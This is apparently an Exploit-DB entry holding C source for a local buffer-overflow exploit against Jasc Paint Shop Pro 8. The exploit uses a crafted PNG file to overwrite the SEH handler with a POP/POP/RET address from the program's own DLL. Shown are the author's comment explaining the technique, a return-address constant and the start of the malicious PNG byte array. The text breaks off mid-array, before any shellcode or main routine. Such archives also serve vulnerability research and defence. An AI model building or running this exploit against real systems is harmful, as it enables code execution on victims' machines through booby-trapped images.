Exploit-DB #10298
Description: Jasc Paint Shop Pro 8 - Local Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-04
Author: fl0 fl0w

Exploit:
/*
Software: Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit (UNIVERSAL)
Bug type: Local buffer overflow
Exploitation method: SEH handler overwrite
Description:
          When a crafted .PNG file is oppened a stack buffer overflow occurs 
 	  because of DEP a SEH handler is overwriten and I overwriten his 
          address with a POP/POP/RET instruction from the gear12d.dll 
          module from the software.So the exploit is universal and has the
 	  option to execute multiple shellcode's - 4 the most. 
Testing:  Tested succesfully on wINDOWS XP SP3,compiled with DevC++(.C file).
Author:   All credits go to fl0 fl0w and this info is exclusiv for IDEFENSE.
*/
#include<stdio.h>
#include<windows.h>
#include<fcntl.h>
#include<assert.h>
#include<string.h>

#define PPRetn_DFL 0x1E019A01  
 char file1[] =
{
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,  //png file 
    0x00, 0x00, 0x01, 0xFD, 0x00, 0x00, 0x01, 0xB6, 0x08, 0x03, 0x00, 0x00, 0x00, 0x42, 0x8D, 0xAF, 
    0x15, 0x00, 0x00, 0x00, 0x07, 0x74, 0x49, 0x4D, 0x45, 0x07, 0xD7, 0x04, 0x0F, 0x10, 0x10, 0x15, 
    0x55, 0x35, 0x65, 0x6B, 0x00, 0x00, 0x44, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x1E, 0x9A, 
    0x00, 0x00, 0x1E, 0x9A, 0x01, 0xFC, 0x6F, 0x28, 0xF8, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 
    0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x16, 0x00, 0x60, 0x50, 0x4C, 0x54, 
    0x45, 0xFF, 0xFF, 0xFF, 0xF1, 0xE9, 0xE6, 0xFA, 0xF7, 0xF3, 0xEC, 0xE5, 0xDE, 0xCC, 0x50, 0xCC, 
    0xD9, 0xD9, 0xD9, 0xE0, 0xE9, 0xEF, 0xA6, 0xC4, 0xD9, 0xAC, 0xB4, 0xB4, 0x8C, 0xB6, 0xD5, 0x13, 
    0x6E, 0xB6, 0x73, 0xA9, 0xD2, 0xC6, 0xD5, 0xDD, 0x2E, 0x80, 0xBC, 0x50, 0x94, 0xC5, 0xFA, 0xF2, 
    0xE6, 0xBC, 0xD7, 0xEA, 0x33, 0x33, 0x33, 0x4D, 0x4B, 0x48, 0x99, 0x99, 0x99, 0x70, 0x70, 0x70, 
    0x8C, 0x8C, 0x8C, 0x1B, 0x1B, 0x19, 0x00, 0x68, 0xB4, 0xF0, 0xC9, 0xB4, 0xE5, 0x98, 0x3A, 0xF0, 
    0x92, 0x6C, 0xEF, 0xE0, 0xD3, 0xEF, 0xB4, 0x98, 0xEF, 0x64, 0x2E, 0xF7, 0xAD, 0x32, 0xAB, 0x85, 
    0x38, 0xC4, 0x47, 0x14, 0xFC, 0x00, 0x00, 0x47, 0x49, 0x49, 0x44, 0x41, 0x54, 0x78, 0xDA, 0xED, 
    0x5D, 0x89, 0x82, 0xAB, 0x2A, 0x0C, 0x55, 0xDC, 0xAA, 0x56, 0xAD, 0x76, 0x9D, 0x2E, 0x77, 0xFE, 
    0xFF, 0x2F, 0x5F, 0x12, 0xD0, 0xBA, 0x80, 0x80, 0xDA, 0x76, 0x66, 0x9E, 0xE7, 0xBD, 0xDB, 0x76, 
    0x5C, 0x50, 0x38, 0x10, 0x92, 0x10, 0xC0, 0x71, 0x56, 0xAC, 0x58, 0xB1, 0x62, 0xC5, 0x8A, 0x15, 
    0x2A, 0xB0, 0x4F, 0xBF, 0xC0, 0xFF, 0x1D, 0x41, 0xD0, 0xFC, 0xDC, 0x54, 0xAF, 0x7A, 0x88, 0x5F, 
    0x01, 0x8E, 0x3E, 0x3D, 0xC4, 0xE5, 0x8F, 0x3D, 0x30, 0xC7, 0xAB, 0xCA, 0xD2, 0xFF, 0x74, 0xFE, 
    0xFF, 0xDF, 0x38, 0x3C, 0x29, 0xDF, 0x9C, 0x5E, 0xF5, 0x90, 0xE3, 0x69, 0x7F, 0x3C, 0x54, 0xA7, 
    0xC3, 0xF3, 0x79, 0x9C, 0x6D, 0xB1, 0xEA, 0xE0, 0x1F, 0x4F, 0xC1, 0xBC, 0x94, 0x57, 0xCC, 0x81, 
    0x77, 0xAA, 0xCB, 0xDF, 0x75, 0x37, 0x25, 0xB4, 0x49, 0x4F, 0x9C, 0x60, 0x81, 0x10, 0xCB, 0x1E, 
    0x36, 0x56, 0x57, 0x5C, 0x54, 0x1F, 0x6C, 0x2E, 0x6B, 0x43, 0x34, 0xA7, 0x43, 0xE0, 0xD6, 0xEB, 
    0xEA, 0x1F, 0x06, 0x91, 0x28, 0x65, 0x4F, 0x47, 0x1A, 0x08, 0x07, 0x40, 0x5D, 0xC2, 0x00, 0xE1, 
    0xBC, 0xCC, 0x0A, 0xFF, 0xCC, 0xE2, 0x70, 0x43, 0xC6, 0xE8, 0x43, 0xC7, 0x72, 0xE9, 0x29, 0xFD, 
    0xB7, 0x2A, 0x2B, 0x01, 0x9A, 0x1D, 0x00, 0xD7, 0x01, 0x00, 0x36, 0x1C, 0x77, 0x5C, 0x90, 0xDB, 
    0xE5, 0x1E, 0xAF, 0x2E, 0xE1, 0x2F, 0xFC, 0x82, 0x03, 0x28, 0xB3, 0x37, 0xF8, 0x23, 0xC0, 0x3E, 
    0x03, 0x7E, 0xD1, 0x29, 0xBA, 0x91, 0x92, 0x38, 0x62, 0x0A, 0x82, 0xDB, 0x63, 0xDD, 0xE0, 0x5D, 
    0x78, 0x20, 0xA6, 0x0B, 0xEC, 0x33, 0x46, 0x3F, 0x56, 0x7C, 0x0E, 0xEE, 0x29, 0x70, 0xB1, 0xF1, 
    0x7B, 0x27, 0x60, 0x6C, 0x73, 0x2A, 0x37, 0xCC, 0x3B, 0xE0, 0xDF, 0xC8, 0x29, 0x54, 0x05, 0xE0, 
    0xEB, 0xE0, 0x39, 0x40, 0x93, 0xC7, 0xFC, 0xF2, 0x08, 0x17, 0xB8, 0x9B, 0x0D, 0x9E, 0xF4, 0x99, 
    0x8B, 0x32, 0x7B, 0x73, 0xDA, 0xD4, 0x3F, 0xE0, 0xD0, 0xE6, 0x84, 0x97, 0x56, 0x01, 0x0B, 0x8E, 
    0x25, 0xB0, 0x7C, 0xF2, 0x59, 0x70, 0x28, 0x39, 0xFD, 0x82, 0x7D, 0x07, 0x2A, 0xC8, 0xE1, 0xC0, 
    0x4E, 0x7B, 0x62, 0x1F, 0x13, 0x5F, 0x5B, 0xFE, 0x27, 0x81, 0x0D, 0xFF, 0x70, 0x40, 0xF6, 0x7D, 
    0xEC, 0xF7, 0x7D, 0x71, 0x6C, 0x5F, 0xE2, 0x0F, 0x76, 0xF2, 0x03, 0xAC, 0x0A, 0xBC, 0xAB, 0x76, 
    0x4B, 0x17, 0xDB, 0xAE, 0x23, 0x4E, 0x3A, 0x1E, 0x34, 0x5E, 0x6C, 0xED, 0x48, 0xED, 0x86, 0xBA, 
    0x8F, 0x6A, 0x53, 0xD3, 0x0C, 0x35, 0x80, 0x2E, 0x75, 0xAA, 0xBD, 0x23, 0x2E, 0x21, 0x54, 0x47, 
    0x7C, 0x9A, 0x7F, 0xDA, 0x10, 0xFB, 0x8E, 0x57, 0x96, 0xAE, 0xF1, 0xAB, 0xAE, 0x58, 0x1A, 0xEC, 
    0x04, 0xA2, 0xBB, 0x04, 0xA2, 0xBC, 0x12, 0xE5, 0x37, 0xA7, 0xD5, 0x3F, 0x21, 0x4B, 0x88, 0xC3, 
    0x21, 0x40, 0x92, 0x4A, 0x94, 0xEF, 0x55, 0x05, 0x75, 0xE3, 0x80, 0xCD, 0x56, 0x9C, 0x04, 0x8E, 
    0x4F, 0x74, 0xBC, 0x2C, 0xC5, 0x9D, 0x70, 0x82, 0xD7, 0x07, 0xC0, 0x9E, 0x9F, 0xE3, 0x9D, 0xFC, 
    0x93, 0xFD, 0x3D, 0xD5, 0x35, 0xA8, 0x2C, 0x01, 0x97, 0x0A, 0x55, 0xB9, 0xB6, 0xFE, 0x8F, 0xE1, 
    0x58, 0xEE, 0x01, 0x20, 0xD3, 0x83, 0x51, 0xF6, 0x8F, 0x3E, 0x02, 0xD5, 0xBA, 0x3D, 0x28, 0x6E, 
    0x0D, 0xFB, 0xFE, 0x89, 0x1F, 0xF7, 0x64, 0xEC, 0x97, 0xFC, 0x1C, 0x6F, 0xDB, 0x82, 0x7D, 0x86, 
    0x15, 0x08, 0xEB, 0xC3, 0xFE, 0xB4, 0x11, 0xB4, 0x97, 0xFB, 0x4F, 0x97, 0xC1, 0xFF, 0x16, 0xEC, 
    0x44, 0x64, 0x81, 0xF5, 0xC5, 0xDB, 0xBE, 0x44, 0xF2, 0x23, 0x49, 0x5C, 0xF2, 0x07, 0xE2, 0x5A, 
    0xA0, 0x8E, 0x6E, 0x0E, 0x6A, 0xC9, 0xBF, 0x09, 0x9E, 0xEC, 0x1F, 0x78, 0x05, 0x0A, 0x40, 0x2E, 
    0x10, 0xBB, 0xFB, 0x4E, 0xBF, 0x5F, 0x89, 0x7E, 0x06, 0x35, 0x7F, 0x10, 0x18, 0xA4, 0x47, 0xAE, 
    0x9A, 0xDF, 0xA7, 0x70, 0xE4, 0x5C, 0x41, 0xE3, 0x26, 0xD5, 0x8F, 0xB4, 0xBE, 0xE0, 0x00, 0xCA, 
    0x1B, 0x29, 0x76, 0x7E, 0x89, 0x5D, 0x34, 0xC3, 0x1E, 0x1F, 0xB4, 0xBE, 0x0D, 0xB4, 0xFA, 0xCD, 
    0xDE, 0x45, 0x7A, 0xAB, 0x12, 0x14, 0xBA, 0x5A, 0xEB, 0x83, 0xEB, 0x7D, 0xE1, 0x29, 0x00, 0xF6, 
    0x41, 0xEB, 0x23, 0x65, 0x0F, 0xB4, 0x3E,